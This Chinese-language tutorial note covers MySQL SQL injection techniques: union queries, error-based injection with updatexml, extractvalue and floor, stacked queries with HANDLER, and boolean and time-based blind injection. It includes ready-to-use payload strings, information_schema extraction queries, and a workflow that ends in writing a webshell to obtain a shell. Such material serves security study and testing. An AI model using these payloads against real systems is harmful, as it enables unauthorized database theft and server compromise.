一、基本分类
1、union联合查询
数据库的查询语句类似于`select * from 表名 where name=xxx union select xxx `,直接在参数后面构造union联合查询语句即可
常用信息:
获取操作系统:@@version_compile_os
mysql的安装路径:@@basedir
mysql存储数据路径:@@datadir
获取数据库名:database()
获取数据库版本:version()
获取数据库用户:user()
查看文件导出权限:@@global.secure_file_priv
注:union联合查询要想使后面的语句生效,前面的参数需要产生异常
2、报错注入
页面输入错误时会报错,此时可以利用报错回显的信息构造特殊回显,一般有三种类型:
updatexml(XML_document, XPath_string, new_value)
- XML_document:文档名称
- XPath_string:XPath格式的字符串(如果XPath_string不是XPath格式,则会报错并显示出XPath_string的值,将XPath_string的值构造为sql的查询语句即可执行)
- new_value:替换的值
使用方式:
id=1' and updatexml(1,concat(0x7e,database()),1)--+
0x7e是'`'(数字1前面)符号的16进制,不是xpath语法,所以报错,执行concat(0x7e,database())内容并回显
extractvalue(xml_document,Xpath_string)
- xml_document:文档名称
- Xpath_string:xpath格式的字符串
使用方式:
id=1' and extractvalue(1,concat(0x7e,database()))--+
floor报错
floor()报错注入的原因是group by在向临时表插入数据时,由于rand()多次计算导致插入临时表时主键重复,从而报错,又因为报错前concat()中的SQL语句或函数被执行,所以该语句报错且被抛出的主键是SQL语句或函数执行后的结果。
准确的说是floor、count(*)、group by三个函数冲突报错,具有固定写法:
select count(*),concat(database(),floor(rand(0)*2)) x from users group by x;
说明:
floor(rand(0)*2):产生一个固定的伪随机序列01101
例:
获取数据库名:
SELECT * FROM USER WHERE num=15
AND
(
SELECT 1 FROM (
SELECT COUNT(*),
CONCAT(DATABASE(),FLOOR(RAND(0)*2))X
FROM information_schema.tables GROUP BY X
)a);
说明:报错注入只能回显出32个字符,查询结果不完整,需要使用substring等函数剪切结果,才能得到最终的返回值
3、堆叠注入
原理:mysql_multi_query() 支持多条sql语句同时执行,使用分号(;)分隔。例如:
查询数据库:
`1';show database();#`
查询表:
`1';use database;show tables;#`
查询字段名:
`1'; use database;show columns from xxx;#`
当被过滤select关键字时,可以使用handler语句代替
handler语句详解:
是mysql中的专属语句,没有包含在sql标准中。该语句使我们能够一行一行的浏览一个表中的数据,不过handler 语句并不具备 select 语句的所有功能。
命令:
handler 表名 open;
hand 表名 read xxx #xxx取值:next:从第一行开始读取,first:获取第一行数据。。。。
handler 表名 close
4、盲注
盲注分为布尔盲注和时间盲注,布尔盲注是页面只有两种情况,一种是正常显示,另一种是错误显示,此时可以根据页面的回显判断输入的sql语句是否正确。时间盲注是不能根据页面的回显判断sql语句是否执行成功,可以使用sleep函数去延迟页面显示时间,从而判断sql语句是否执行成功。主要根据页面的返回状态爆破数据库。常用函数:
-
length(str):返回数据长度,常用来猜解数据库长度。
length(database())>10
-
ascii(str)\ord(str):返回数据的ascll码,用来确定数据库、表名。
-
if(a,b,c) :a为条件,a为true,返回b,否则返回c
大体思路:
确定数据库长度:依次从小到大尝试,第一次报错即为数据库长度
`and length(database())>10--+`
猜解数据库名:利用二分法,依次从最左边遍历爆破字符,得到数据库名
`and ascii(substr((select database()),1,1))=115--+`
确定表的长度:依次确定各个表的长度
`and select length(table_name) from information_schema.tables where table_schema=database() limit 0,1`
确定表名:从information_chema数据库中读取表名再爆破
`and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101--+`
盲注手工比较麻烦,需要写脚本。
二、大体思路
- 首先确定有无注入漏洞,在提交参数后面构造and 1=1,and 1=2,and '1'='1,and '1'='2等恒等式判断页面有无异常,有的话很大可能存在漏洞,无的话再考虑宽字节注入、编码等
- 查看页面有无错误回显,有则根据回显内容优先考虑报错注入、union查询注入,无则考虑盲注
- 注入时查看是否有文件写入权限(@@global.secure_file_priv),有的话就直接写入一句话脚本,得到shell